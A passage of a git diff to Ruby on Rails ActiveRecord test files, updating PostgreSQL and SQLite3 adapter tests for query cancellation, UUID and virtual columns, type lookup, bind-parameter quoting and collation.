+        latch1 = Concurrent::CountDownLatch.new
+        latch2 = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch1.count_down
+            latch2.wait
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch1.wait
+            Sample.lease_connection.execute("SET statement_timeout = 1")
+            Sample.lock.find(s.id)
+          end
+        ensure
+          Sample.lease_connection.execute("SET statement_timeout = DEFAULT")
+          latch2.count_down
+          thread.join
+        end
+      end
+    end
+
+    test "raises QueryCanceled when canceling statement due to user request" do
+      assert_raises(ActiveRecord::QueryCanceled) do
+        s = Sample.create!(value: 1)
+        latch = Concurrent::CountDownLatch.new
+
+        thread = Thread.new do
+          Sample.transaction do
+            Sample.lock.find(s.id)
+            latch.count_down
+            sleep(0.5)
+            conn = Sample.lease_connection
+            pid = conn.select_value("SELECT pid FROM pg_stat_activity WHERE query LIKE '% FOR UPDATE'")
+            conn.execute("SELECT pg_cancel_backend(#{pid})")
+          end
+        end
+
+        begin
+          Sample.transaction do
+            latch.wait
+            Sample.lock.find(s.id)
+          end
+        ensure
+          thread.join
+        end
+      end
+    end
+
+    test "raises Interrupt when canceling statement via interrupt" do
+      if PG.library_version >= 18_00_00 && Gem::Version.new(PG::VERSION) < Gem::Version.new("1.6.0")
+        skip "PG::Connection#cancel should not run when libpq of PostgreSQL #{PG.library_version / 10000} with pg gem version #{PG::VERSION}"
+      end
+      start_time = Time.now
+      thread = Thread.new do
+        Sample.transaction do
+          Sample.lease_connection.execute("SELECT pg_sleep(10)")
+        end
+      rescue Exception => e
+        e
+      end
+
+      sleep(0.5)
+      thread.raise Interrupt
+      thread.join
+      duration = Time.now - start_time
 
+      assert_instance_of Interrupt, thread.value
+      assert_operator duration, :<, 5
+    end
+
+    private
       def with_warning_suppression
-        log_level = ActiveRecord::Base.connection.client_min_messages
-        ActiveRecord::Base.connection.client_min_messages = "error"
+        log_level = ActiveRecord::Base.lease_connection.client_min_messages
+        ActiveRecord::Base.lease_connection.client_min_messages = "error"
         yield
       ensure
-        ActiveRecord::Base.connection.client_min_messages = log_level
+        ActiveRecord::Base.connection_handler.clear_active_connections!(:all)
+        ActiveRecord::Base.lease_connection.client_min_messages = log_level
       end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
index 784d77a8d1dc8..d62d4e0372874 100644
--- a/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/type_lookup_test.rb
@@ -1,21 +1,23 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 class PostgresqlTypeLookupTest < ActiveRecord::PostgreSQLTestCase
   setup do
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
   end
 
   test "array delimiters are looked up correctly" do
-    box_array = @connection.type_map.lookup(1020)
-    int_array = @connection.type_map.lookup(1007)
+    box_array = @connection.send(:type_map).lookup(1020)
+    int_array = @connection.send(:type_map).lookup(1007)
 
     assert_equal ";", box_array.delimiter
     assert_equal ",", int_array.delimiter
   end
 
   test "array types correctly respect registration of subtypes" do
-    int_array = @connection.type_map.lookup(1007, -1, "integer[]")
-    bigint_array = @connection.type_map.lookup(1016, -1, "bigint[]")
+    int_array = @connection.send(:type_map).lookup(1007, -1, "integer[]")
+    bigint_array = @connection.send(:type_map).lookup(1016, -1, "bigint[]")
     big_array = [123456789123456789]
 
     assert_raises(ActiveModel::RangeError) { int_array.serialize(big_array) }
@@ -23,11 +25,11 @@ class PostgresqlTypeLookupTest < ActiveRecord::PostgreSQLTestCase
   end
 
   test "range types correctly respect registration of subtypes" do
-    int_range = @connection.type_map.lookup(3904, -1, "int4range")
-    bigint_range = @connection.type_map.lookup(3926, -1, "int8range")
+    int_range = @connection.send(:type_map).lookup(3904, -1, "int4range")
+    bigint_range = @connection.send(:type_map).lookup(3926, -1, "int8range")
     big_range = 0..123456789123456789
 
     assert_raises(ActiveModel::RangeError) { int_range.serialize(big_range) }
-    assert_equal "[0,123456789123456789]", bigint_range.serialize(big_range)
+    assert_equal "[0,123456789123456789]", @connection.type_cast(bigint_range.serialize(big_range))
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/utils_test.rb b/activerecord/test/cases/adapters/postgresql/utils_test.rb
index 9f9e3bda2f88d..c91884f384ec6 100644
--- a/activerecord/test/cases/adapters/postgresql/utils_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/utils_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_record/connection_adapters/postgresql/utils"
 
diff --git a/activerecord/test/cases/adapters/postgresql/uuid_test.rb b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
index 6aa6a797058c5..9d4600ff279a1 100644
--- a/activerecord/test/cases/adapters/postgresql/uuid_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/uuid_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
 module PostgresqlUUIDHelper
   def connection
-    @connection ||= ActiveRecord::Base.connection
+    @connection ||= ActiveRecord::Base.lease_connection
   end
 
   def drop_table(name)
@@ -13,6 +15,10 @@ def drop_table(name)
   def uuid_function
     connection.supports_pgcrypto_uuid? ? "gen_random_uuid()" : "uuid_generate_v4()"
   end
+
+  def uuid_default
+    connection.supports_pgcrypto_uuid? ? {} : { default: uuid_function }
+  end
 end
 
 class PostgresqlUUIDTest < ActiveRecord::PostgreSQLTestCase
@@ -33,10 +39,12 @@ class UUIDType < ActiveRecord::Base
   end
 
   teardown do
+    UUIDType.reset_column_information
     drop_table "uuid_data_type"
   end
 
-  if ActiveRecord::Base.connection.supports_pgcrypto_uuid?
+  if ActiveRecord::Base.lease_connection.respond_to?(:supports_pgcrypto_uuid?) &&
+      ActiveRecord::Base.lease_connection.supports_pgcrypto_uuid?
     def test_uuid_column_default
       connection.add_column :uuid_data_type, :thingy, :uuid, null: false, default: "gen_random_uuid()"
       UUIDType.reset_column_information
@@ -59,14 +67,37 @@ def test_change_column_default
     UUIDType.reset_column_information
   end
 
+  def test_add_column_with_null_true_and_default_nil
+    connection.add_column :uuid_data_type, :thingy, :uuid, null: true, default: nil
+
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash["thingy"]
+
+    assert column.null
+    assert_nil column.default
+  end
+
+  def test_add_column_with_default_array
+    connection.add_column :uuid_data_type, :thingy, :uuid, array: true, default: []
+
+    UUIDType.reset_column_information
+    column = UUIDType.columns_hash["thingy"]
+
+    assert_predicate column, :array?
+    assert_equal "{}", column.default
+
+    schema = dump_table_schema "uuid_data_type"
+    assert_match %r{t\.uuid "thingy", default: \[\], array: true$}, schema
+  end
+
   def test_data_type_of_uuid_types
     column = UUIDType.columns_hash["guid"]
     assert_equal :uuid, column.type
     assert_equal "uuid", column.sql_type
-    assert_not column.array?
+    assert_not_predicate column, :array?
 
     type = UUIDType.type_for_attribute("guid")
-    assert_not type.binary?
+    assert_not_predicate type, :binary?
   end
 
   def test_treat_blank_uuid_as_nil
@@ -84,6 +115,31 @@ def test_invalid_uuid_dont_modify_before_type_cast
     assert_equal "foobar", uuid.guid_before_type_cast
   end
 
+  def test_invalid_uuid_dont_match_to_nil
+    UUIDType.create!
+    assert_empty UUIDType.where(guid: "")
+    assert_empty UUIDType.where(guid: "foobar")
+  end
+
+  def test_uuid_change_format_does_not_mark_dirty
+    model = UUIDType.create!(guid: "abcd-0123-4567-89ef-dead-beef-0101-1010")
+    model.guid = model.guid.swapcase
+    assert_not_predicate model, :changed?
+
+    model.guid = "{#{model.guid}}"
+    assert_not_predicate model, :changed?
+  end
+
+  class DuckUUID
+    def initialize(uuid)
+      @uuid = uuid
+    end
+
+    def to_s
+      @uuid
+    end
+  end
+
   def test_acceptable_uuid_regex
     # Valid uuids
     ["A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11",
@@ -95,9 +151,11 @@ def test_acceptable_uuid_regex
      # so we shouldn't block it either. (Pay attention to "fb6d" – the "f" here
      # is invalid – it must be one of 8, 9, A, B, a, b according to the spec.)
      "{a0eebc99-9c0b-4ef8-fb6d-6bb9bd380a11}",
+     # Support Object-Oriented UUIDs which respond to #to_s
+     DuckUUID.new("A0EEBC99-9C0B-4EF8-BB6D-6BB9BD380A11"),
     ].each do |valid_uuid|
       uuid = UUIDType.new guid: valid_uuid
-      assert_not_nil uuid.guid
+      assert_instance_of String, uuid.guid
     end
 
     # Invalid uuids
@@ -109,7 +167,9 @@ def test_acceptable_uuid_regex
      "Z0000C99-9C0B-4EF8-BB6D-6BB9BD380A11",
      "a0eebc999r0b4ef8ab6d6bb9bd380a11",
      "a0ee-bc99------4ef8-bb6d-6bb9-bd38-0a11",
-     "{a0eebc99-bb6d6bb9-bd380a11}"].each do |invalid_uuid|
+     "{a0eebc99-bb6d6bb9-bd380a11}",
+     "{a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11",
+     "a0eebc99-9c0b4ef8-bb6d6bb9-bd380a11}"].each do |invalid_uuid|
       uuid = UUIDType.new guid: invalid_uuid
       assert_nil uuid.guid
     end
@@ -145,8 +205,8 @@ def self.name
     record = klass.create!(guid: "a0ee-bc99-9c0b-4ef8-bb6d-6bb9-bd38-0a11")
     duplicate = klass.new(guid: record.guid)
 
-    assert record.guid.present? # Ensure we actually are testing a UUID
-    assert_not duplicate.valid?
+    assert_predicate record.guid, :present? # Ensure we actually are testing a UUID
+    assert_not_predicate duplicate, :valid?
   end
 end
 
@@ -166,10 +226,10 @@ class UUID < ActiveRecord::Base
 
     # Create custom PostgreSQL function to generate UUIDs
     # to test dumping tables which columns have defaults with custom functions
-    connection.execute <<-SQL
-    CREATE OR REPLACE FUNCTION my_uuid_generator() RETURNS uuid
-    AS $$ SELECT * FROM #{uuid_function} $$
-    LANGUAGE SQL VOLATILE;
+    connection.execute <<~SQL
+      CREATE OR REPLACE FUNCTION my_uuid_generator() RETURNS uuid
+      AS $$ SELECT * FROM #{uuid_function} $$
+      LANGUAGE SQL VOLATILE;
     SQL
 
     # Create such a table with custom function as default value generator
@@ -178,7 +238,7 @@ class UUID < ActiveRecord::Base
       t.uuid "other_uuid_2", default: "my_uuid_generator()"
     end
 
-    connection.create_table("pg_uuids_3", id: :uuid) do |t|
+    connection.create_table("pg_uuids_3", id: :uuid, **uuid_default) do |t|
       t.string "name"
     end
   end
@@ -190,69 +250,71 @@ class UUID < ActiveRecord::Base
     connection.execute "DROP FUNCTION IF EXISTS my_uuid_generator();"
   end
 
-  if ActiveRecord::Base.connection.supports_extensions?
-    def test_id_is_uuid
-      assert_equal :uuid, UUID.columns_hash["id"].type
-      assert UUID.primary_key
-    end
+  def test_id_is_uuid
+    assert_equal :uuid, UUID.columns_hash["id"].type
+    assert UUID.primary_key
+  end
 
-    def test_id_has_a_default
-      u = UUID.create
-      assert_not_nil u.id
-    end
+  def test_id_has_a_default
+    u = UUID.create
+    assert_not_nil u.id
+  end
 
-    def test_auto_create_uuid
-      u = UUID.create
-      u.reload
-      assert_not_nil u.other_uuid
-    end
+  def test_auto_create_uuid
+    u = UUID.create
+    u.reload
+    assert_not_nil u.other_uuid
+  end
 
-    def test_pk_and_sequence_for_uuid_primary_key
-      pk, seq = connection.pk_and_sequence_for("pg_uuids")
-      assert_equal "id", pk
-      assert_nil seq
-    end
+  def test_pk_and_sequence_for_uuid_primary_key
+    pk, seq = connection.pk_and_sequence_for("pg_uuids")
+    assert_equal "id", pk
+    assert_nil seq
+  end
 
-    def test_schema_dumper_for_uuid_primary_key
-      schema = dump_table_schema "pg_uuids"
-      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: -> { "uuid_generate_v1\(\)" }/, schema)
-      assert_match(/t\.uuid "other_uuid", default: -> { "uuid_generate_v4\(\)" }/, schema)
-    end
+  def test_schema_dumper_for_uuid_primary_key
+    schema = dump_table_schema "pg_uuids"
+    assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: -> { "uuid_generate_v1\(\)" }/, schema)
+    assert_match(/t\.uuid "other_uuid", default: -> { "uuid_generate_v4\(\)" }/, schema)
+  end
+
+  def test_schema_dumper_for_uuid_primary_key_with_custom_default
+    schema = dump_table_schema "pg_uuids_2"
+    assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: -> { "my_uuid_generator\(\)" }/, schema)
+    assert_match(/t\.uuid "other_uuid_2", default: -> { "my_uuid_generator\(\)" }/, schema)
+  end
 
-    def test_schema_dumper_for_uuid_primary_key_with_custom_default
-      schema = dump_table_schema "pg_uuids_2"
-      assert_match(/\bcreate_table "pg_uuids_2", id: :uuid, default: -> { "my_uuid_generator\(\)" }/, schema)
-      assert_match(/t\.uuid "other_uuid_2", default: -> { "my_uuid_generator\(\)" }/, schema)
+  def test_schema_dumper_for_uuid_primary_key_default
+    schema = dump_table_schema "pg_uuids_3"
+    if connection.supports_pgcrypto_uuid?
+      assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "gen_random_uuid\(\)" }/, schema)
+    else
+      assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
     end
+  end
+
+  def test_schema_dumper_for_uuid_primary_key_default_in_legacy_migration
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
 
-    def test_schema_dumper_for_uuid_primary_key_default
-      schema = dump_table_schema "pg_uuids_3"
-      if connection.supports_pgcrypto_uuid?
-        assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "gen_random_uuid\(\)" }/, schema)
-      else
-        assert_match(/\bcreate_table "pg_uuids_3", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
+    migration = Class.new(ActiveRecord::Migration[5.0]) do
+      def version; 101 end
+      def migrate(x)
+        create_table("pg_uuids_4", id: :uuid)
       end
-    end
+    end.new
 
-    def test_schema_dumper_for_uuid_primary_key_default_in_legacy_migration
-      @verbose_was = ActiveRecord::Migration.verbose
-      ActiveRecord::Migration.verbose = false
-
-      migration = Class.new(ActiveRecord::Migration[5.0]) do
-        def version; 101 end
-        def migrate(x)
-          create_table("pg_uuids_4", id: :uuid)
-        end
-      end.new
-      ActiveRecord::Migrator.new(:up, [migration]).migrate
-
-      schema = dump_table_schema "pg_uuids_4"
-      assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
-    ensure
-      drop_table "pg_uuids_4"
-      ActiveRecord::Migration.verbose = @verbose_was
-    end
+    pool = ActiveRecord::Base.connection_pool
+    ActiveRecord::Migrator.new(:up, [migration], pool.schema_migration, pool.internal_metadata).migrate
+
+    schema = dump_table_schema "pg_uuids_4"
+    assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: -> { "uuid_generate_v4\(\)" }/, schema)
+  ensure
+    drop_table "pg_uuids_4"
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions
   end
+  uses_transaction :test_schema_dumper_for_uuid_primary_key_default_in_legacy_migration
 end
 
 class PostgresqlUUIDTestNilDefault < ActiveRecord::PostgreSQLTestCase
@@ -270,39 +332,41 @@ class PostgresqlUUIDTestNilDefault < ActiveRecord::PostgreSQLTestCase
     drop_table "pg_uuids"
   end
 
-  if ActiveRecord::Base.connection.supports_extensions?
-    def test_id_allows_default_override_via_nil
-      col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
-                                    FROM pg_attribute a
-                                    LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
-                                    WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
-      assert_nil col_desc["default"]
-    end
+  def test_id_allows_default_override_via_nil
+    col_desc = connection.execute("SELECT pg_get_expr(d.adbin, d.adrelid) as default
+                                  FROM pg_attribute a
+                                  LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum
+                                  WHERE a.attname='id' AND a.attrelid = 'pg_uuids'::regclass").first
+    assert_nil col_desc["default"]
+  end
 
-    def test_schema_dumper_for_uuid_primary_key_with_default_override_via_nil
-      schema = dump_table_schema "pg_uuids"
-      assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: nil/, schema)
-    end
+  def test_schema_dumper_for_uuid_primary_key_with_default_override_via_nil
+    schema = dump_table_schema "pg_uuids"
+    assert_match(/\bcreate_table "pg_uuids", id: :uuid, default: nil/, schema)
+  end
 
-    def test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration
-      @verbose_was = ActiveRecord::Migration.verbose
-      ActiveRecord::Migration.verbose = false
-
-      migration = Class.new(ActiveRecord::Migration[5.0]) do
-        def version; 101 end
-        def migrate(x)
-          create_table("pg_uuids_4", id: :uuid, default: nil)
-        end
-      end.new
-      ActiveRecord::Migrator.new(:up, [migration]).migrate
-
-      schema = dump_table_schema "pg_uuids_4"
-      assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: nil/, schema)
-    ensure
-      drop_table "pg_uuids_4"
-      ActiveRecord::Migration.verbose = @verbose_was
-    end
+  def test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration
+    @verbose_was = ActiveRecord::Migration.verbose
+    ActiveRecord::Migration.verbose = false
+
+    migration = Class.new(ActiveRecord::Migration[5.0]) do
+      def version; 101 end
+      def migrate(x)
+        create_table("pg_uuids_4", id: :uuid, default: nil)
+      end
+    end.new
+
+    pool = ActiveRecord::Base.connection_pool
+    ActiveRecord::Migrator.new(:up, [migration], pool.schema_migration, pool.internal_metadata).migrate
+
+    schema = dump_table_schema "pg_uuids_4"
+    assert_match(/\bcreate_table "pg_uuids_4", id: :uuid, default: nil/, schema)
+  ensure
+    drop_table "pg_uuids_4"
+    ActiveRecord::Migration.verbose = @verbose_was
+    ActiveRecord::Base.connection_pool.schema_migration.delete_all_versions
   end
+  uses_transaction :test_schema_dumper_for_uuid_primary_key_with_default_nil_in_legacy_migration
 end
 
 class PostgresqlUUIDTestInverseOf < ActiveRecord::PostgreSQLTestCase
@@ -320,10 +384,10 @@ class UuidComment < ActiveRecord::Base
 
   setup do
     connection.transaction do
-      connection.create_table("pg_uuid_posts", id: :uuid) do |t|
+      connection.create_table("pg_uuid_posts", id: :uuid, **uuid_default) do |t|
         t.string "title"
       end
-      connection.create_table("pg_uuid_comments", id: :uuid) do |t|
+      connection.create_table("pg_uuid_comments", id: :uuid, **uuid_default) do |t|
         t.references :uuid_post, type: :uuid
         t.string "content"
       end
@@ -335,23 +399,81 @@ class UuidComment < ActiveRecord::Base
     drop_table "pg_uuid_posts"
   end
 
-  if ActiveRecord::Base.connection.supports_extensions?
-    def test_collection_association_with_uuid
-      post    = UuidPost.create!
-      comment = post.uuid_comments.create!
-      assert post.uuid_comments.find(comment.id)
+  def test_collection_association_with_uuid
+    post    = UuidPost.create!
+    comment = post.uuid_comments.create!
+    assert post.uuid_comments.find(comment.id)
+  end
+
+  def test_find_with_uuid
+    UuidPost.create!
+    assert_raise ActiveRecord::RecordNotFound do
+      UuidPost.find(123456)
     end
+  end
+
+  def test_find_by_with_uuid
+    UuidPost.create!
+    assert_nil UuidPost.find_by(id: 789)
+  end
+end
+
+class PostgresqlUUIDHasManyThroughDisableJoinsTest < ActiveRecord::PostgreSQLTestCase
+  include PostgresqlUUIDHelper
+
+  class UuidForum < ActiveRecord::Base
+    self.table_name = "pg_uuid_forums"
+    has_many :uuid_posts, -> { order("title DESC") }
+    has_many :uuid_comments, through: :uuid_posts
+    has_many :uuid_comments_without_joins, through: :uuid_posts, source: :uuid_comments, disable_joins: true
+  end
+
+  class UuidPost < ActiveRecord::Base
+    self.table_name = "pg_uuid_posts"
+    belongs_to :uuid_forum
+    has_many :uuid_comments
+  end
 
-    def test_find_with_uuid
-      UuidPost.create!
-      assert_raise ActiveRecord::RecordNotFound do
-        UuidPost.find(123456)
+  class UuidComment < ActiveRecord::Base
+    self.table_name = "pg_uuid_comments"
+    belongs_to :uuid_post
+    has_one :uuid_forum, through: :uuid_post
+    has_one :uuid_forum_without_joins, through: :uuid_post, source: :uuid_forum, disable_joins: true
+  end
+
+  setup do
+    connection.transaction do
+      connection.create_table("pg_uuid_forums", id: :uuid, **uuid_default) do |t|
+        t.string "name"
+      end
+      connection.create_table("pg_uuid_posts", id: :uuid, **uuid_default) do |t|
+        t.references :uuid_forum, type: :uuid
+        t.string "title"
+      end
+      connection.create_table("pg_uuid_comments", id: :uuid, **uuid_default) do |t|
+        t.references :uuid_post, type: :uuid
+        t.string "content"
       end
     end
+  end
 
-    def test_find_by_with_uuid
-      UuidPost.create!
-      assert_nil UuidPost.find_by(id: 789)
-    end
+  teardown do
+    drop_table "pg_uuid_comments"
+    drop_table "pg_uuid_posts"
+    drop_table "pg_uuid_forums"
+  end
+
+  def test_uuid_primary_key_and_disable_joins_with_delegate_cache
+    uuid_forum = UuidForum.create!
+    uuid_post_1 = uuid_forum.uuid_posts.create!
+    uuid_comment_1_1 = uuid_post_1.uuid_comments.create!
+    uuid_comment_1_2 = uuid_post_1.uuid_comments.create!
+    uuid_post_2 = uuid_forum.uuid_posts.create!
+    uuid_comment_2_1 = uuid_post_2.uuid_comments.create!
+    uuid_comment_2_2 = uuid_post_2.uuid_comments.create!
+    uuid_comment_2_3 = uuid_post_2.uuid_comments.create!
+
+    assert_equal uuid_forum.uuid_comments_without_joins.order(:id).to_a.map(&:id).sort,
+      [uuid_comment_1_1.id, uuid_comment_1_2.id, uuid_comment_2_1.id, uuid_comment_2_2.id, uuid_comment_2_3.id].sort
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/virtual_column_test.rb b/activerecord/test/cases/adapters/postgresql/virtual_column_test.rb
new file mode 100644
index 0000000000000..81a6ff549f608
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/virtual_column_test.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_virtual_columns?
+  class PostgresqlVirtualColumnTest < ActiveRecord::PostgreSQLTestCase
+    include SchemaDumpingHelper
+
+    class VirtualColumn < ActiveRecord::Base
+    end
+
+    def setup
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table :virtual_columns, force: true do |t|
+        t.string  :name
+        t.virtual :upper_name,  type: :string,  as: "UPPER(name)", stored: true
+        t.virtual :name_length, type: :integer, as: "LENGTH(name)", stored: true
+        t.virtual :name_octet_length, type: :integer, as: "OCTET_LENGTH(name)", stored: true
+        t.integer :column1
+        t.virtual :column2, type: :integer, as: "column1 + 1", stored: true
+        if @connection.database_version >= 18_00_00
+          t.virtual :column3, type: :integer, as: "column1 + 2", stored: false
+          t.virtual :column4, type: :integer, as: "column1 + 3"
+        end
+      end
+
+      VirtualColumn.create(name: "Rails")
+    end
+
+    def test_virtual_column_with_full_inserts
+      partial_inserts_was = VirtualColumn.partial_inserts
+      VirtualColumn.partial_inserts = false
+      assert_nothing_raised do
+        VirtualColumn.create!(name: "Rails")
+      end
+    ensure
+      VirtualColumn.partial_inserts = partial_inserts_was
+    end
+
+    def teardown
+      @connection.drop_table :virtual_columns, if_exists: true
+      VirtualColumn.reset_column_information
+    end
+
+    def test_virtual_column
+      column = VirtualColumn.columns_hash["upper_name"]
+      assert_predicate column, :virtual?
+      assert_equal "RAILS", VirtualColumn.take.upper_name
+    end
+
+    def test_stored_column
+      column = VirtualColumn.columns_hash["name_length"]
+      assert_predicate column, :virtual?
+      assert_predicate column, :virtual_stored? if @connection.database_version >= 18_00_00
+      assert_equal 5, VirtualColumn.take.name_length
+    end
+
+    def test_change_table
+      @connection.change_table :virtual_columns do |t|
+        t.virtual :lower_name, type: :string, as: "LOWER(name)", stored: true
+      end
+      VirtualColumn.reset_column_information
+      column = VirtualColumn.columns_hash["lower_name"]
+      assert_predicate column, :virtual?
+      assert_predicate column, :virtual_stored? if @connection.database_version >= 18_00_00
+      assert_equal "rails", VirtualColumn.take.lower_name
+    end
+
+    if ActiveRecord::Base.lease_connection.database_version >= 18_00_00
+      def test_change_table_as_stored_false
+        @connection.change_table :virtual_columns do |t|
+          t.virtual :reversed_name, type: :string, as: "REVERSE(name)", stored: false
+        end
+        VirtualColumn.reset_column_information
+        column = VirtualColumn.columns_hash["reversed_name"]
+        assert_predicate column, :virtual?
+        assert_not_predicate column, :virtual_stored?
+        assert_equal "sliaR", VirtualColumn.take.reversed_name
+      end
+
+      def test_change_table_without_stored_option
+        @connection.change_table :virtual_columns do |t|
+          t.virtual :ascii_name, type: :string, as: "ASCII(name)"
+        end
+        VirtualColumn.reset_column_information
+        column = VirtualColumn.columns_hash["ascii_name"]
+        assert_predicate column, :virtual?
+        assert_not_predicate column, :virtual_stored?
+        assert_equal "82", VirtualColumn.take.ascii_name
+      end
+
+    else
+      def test_non_persisted_column
+        message = <<~MSG
+          PostgreSQL versions before 18 do not support VIRTUAL (not persisted) generated columns.
+          Specify 'stored: true' option for 'invalid_definition'
+        MSG
+
+        assert_raise ArgumentError, match: message do
+          @connection.change_table :virtual_columns do |t|
+            t.virtual :invalid_definition, type: :string, as: "LOWER(name)"
+          end
+        end
+      end
+    end
+
+    def test_schema_dumping
+      output = dump_table_schema("virtual_columns")
+      assert_match(/t\.virtual\s+"upper_name",\s+type: :string,\s+as: "upper\(\(name\)::text\)", stored: true$/i, output)
+      assert_match(/t\.virtual\s+"name_length",\s+type: :integer,\s+as: "length\(\(name\)::text\)", stored: true$/i, output)
+      assert_match(/t\.virtual\s+"name_octet_length",\s+type: :integer,\s+as: "octet_length\(\(name\)::text\)", stored: true$/i, output)
+      assert_match(/t\.virtual\s+"column2",\s+type: :integer,\s+as: "\(column1 \+ 1\)", stored: true$/i, output)
+      if @connection.database_version >= 18_00_00
+        assert_match(/t\.virtual\s+"column3",\s+type: :integer,\s+as: "\(column1 \+ 2\)"$/i, output)
+        assert_match(/t\.virtual\s+"column4",\s+type: :integer,\s+as: "\(column1 \+ 3\)"$/i, output)
+      end
+    end
+
+    def test_build_fixture_sql
+      fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :virtual_columns).first
+      assert_equal 2, fixtures.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/xml_test.rb b/activerecord/test/cases/adapters/postgresql/xml_test.rb
index 826b384fb379f..544c15768b9af 100644
--- a/activerecord/test/cases/adapters/postgresql/xml_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/xml_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -8,15 +10,9 @@ class XmlDataType < ActiveRecord::Base
   end
 
   def setup
-    @connection = ActiveRecord::Base.connection
-    begin
-      @connection.transaction do
-        @connection.create_table("xml_data_type") do |t|
-          t.xml "payload"
-        end
-      end
-    rescue ActiveRecord::StatementInvalid
-      skip "do not test on PG without xml"
+    @connection = ActiveRecord::Base.lease_connection
+    @connection.create_table("xml_data_type") do |t|
+      t.xml "payload"
     end
     @column = XmlDataType.columns_hash["payload"]
   end
diff --git a/activerecord/test/cases/adapters/sqlite3/bind_parameter_test.rb b/activerecord/test/cases/adapters/sqlite3/bind_parameter_test.rb
new file mode 100644
index 0000000000000..a26dcef0a9e27
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/bind_parameter_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class SQLite3Adapter
+      class BindParameterTest < ActiveRecord::SQLite3TestCase
+        fixtures :posts
+
+        def test_where_with_string_for_string_column_using_bind_parameters
+          assert_quoted_as "'Welcome to the weblog'", "Welcome to the weblog", match: 1
+        end
+
+        def test_where_with_integer_for_string_column_using_bind_parameters
+          assert_quoted_as "0", 0
+        end
+
+        def test_where_with_float_for_string_column_using_bind_parameters
+          assert_quoted_as "0.0", 0.0
+        end
+
+        def test_where_with_boolean_for_string_column_using_bind_parameters
+          assert_quoted_as "FALSE", false
+        end
+
+        def test_where_with_decimal_for_string_column_using_bind_parameters
+          assert_quoted_as "0.0", BigDecimal(0)
+        end
+
+        def test_where_with_rational_for_string_column_using_bind_parameters
+          assert_quoted_as "0/1", Rational(0)
+        end
+
+        private
+          def assert_quoted_as(expected, value, match: 0)
+            relation = Post.where("title = ?", value)
+            assert_equal(
+              %{SELECT "posts".* FROM "posts" WHERE (title = #{expected})},
+              relation.to_sql,
+            )
+            if match == 0
+              assert_empty relation.to_a
+            else
+              assert_equal match, relation.count
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/collation_test.rb b/activerecord/test/cases/adapters/sqlite3/collation_test.rb
index 28e8f12c18400..adcd9d17bd3d0 100644
--- a/activerecord/test/cases/adapters/sqlite3/collation_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/collation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -5,10 +7,14 @@ class SQLite3CollationTest < ActiveRecord::SQLite3TestCase
   include SchemaDumpingHelper
 
   def setup
-    @connection = ActiveRecord::Base.connection
+    @connection = ActiveRecord::Base.lease_connection
     @connection.create_table :collation_table_sqlite3, force: true do |t|
       t.string :string_nocase, collation: "NOCASE"
       t.text :text_rtrim, collation: "RTRIM"
+      # The decimal column might interfere with collation parsing.
+      # Thus, add this column type and some other string column afterwards.
+      t.decimal :decimal_col, precision: 6, scale: 2
+      t.string :string_after_decimal_nocase, collation: "NOCASE"
